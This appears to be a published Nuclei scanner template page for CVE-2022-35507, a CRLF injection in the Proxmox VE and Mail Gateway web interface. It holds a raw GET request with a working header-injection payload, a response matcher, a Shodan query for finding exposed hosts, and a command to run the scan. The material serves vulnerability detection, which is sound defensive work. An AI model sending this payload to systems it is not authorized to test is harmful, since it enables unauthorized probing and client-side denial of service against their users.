Proxmox - CRLF Injection

ID: CVE-2022-35507

Severity: high

Author: DhiyaneshDk

Tags: cve,cve2022,proxmox,crlf

Description

A response-header CRLF injection vulnerability in the Proxmox Virtual Environment (PVE) and Proxmox Mail Gateway (PMG) web interface allows a remote attacker to set cookies for a victim’s browser that are longer than the server expects, causing a client-side DoS. This affects Chromium-based browsers because they allow injection of response headers with %0d. This is fixed in pve-http-server 4.1-3.

YAML Source

id: CVE-2022-35507

info:
  name: Proxmox - CRLF Injection
  author: DhiyaneshDk
  severity: high
  description: |
    A response-header CRLF injection vulnerability in the Proxmox Virtual Environment (PVE) and Proxmox Mail Gateway (PMG) web interface allows a remote attacker to set cookies for a victim's browser that are longer than the server expects, causing a client-side DoS. This affects Chromium-based browsers because they allow injection of response headers with %0d. This is fixed in pve-http-server 4.1-3.
  reference:
    - https://git.proxmox.com/?p=pve-http-server.git%3Ba=commitdiff%3Bh=936007ae0241811093155000486da171379c23c2
    - https://github.com/advisories/GHSA-xfgp-gpjw-wmqr
    - https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/#bug-0x02-crlf-injection-in-response-headers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H
    cvss-score: 7.1
    cve-id: CVE-2022-35507
    cwe-id: CWE-74
    epss-score: 0.00243
    epss-percentile: 0.44911
    cpe: cpe:2.3:a:proxmox:proxmox_mail_gateway:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: proxmox
    product: proxmox_mail_gateway
    shodan-query: html:"Proxmox = {"
  tags: cve,cve2022,proxmox,crlf

http:
  - raw:
      - |
        GET /404%0dnew-header:value%0da: HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(all_headers, 'new-header:value')"
          - "status_code == 501"
        condition: and
# digest: 4a0a00473045022100d173f8e4d3b3e42c204ccca2c518560150536e4162b0a00f2b3280fa4c470e0502207a3aba1c15ab2983b8deb78362e9d42dcabc3c4852495541775d0f262aa7fc63:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-35507.yaml"

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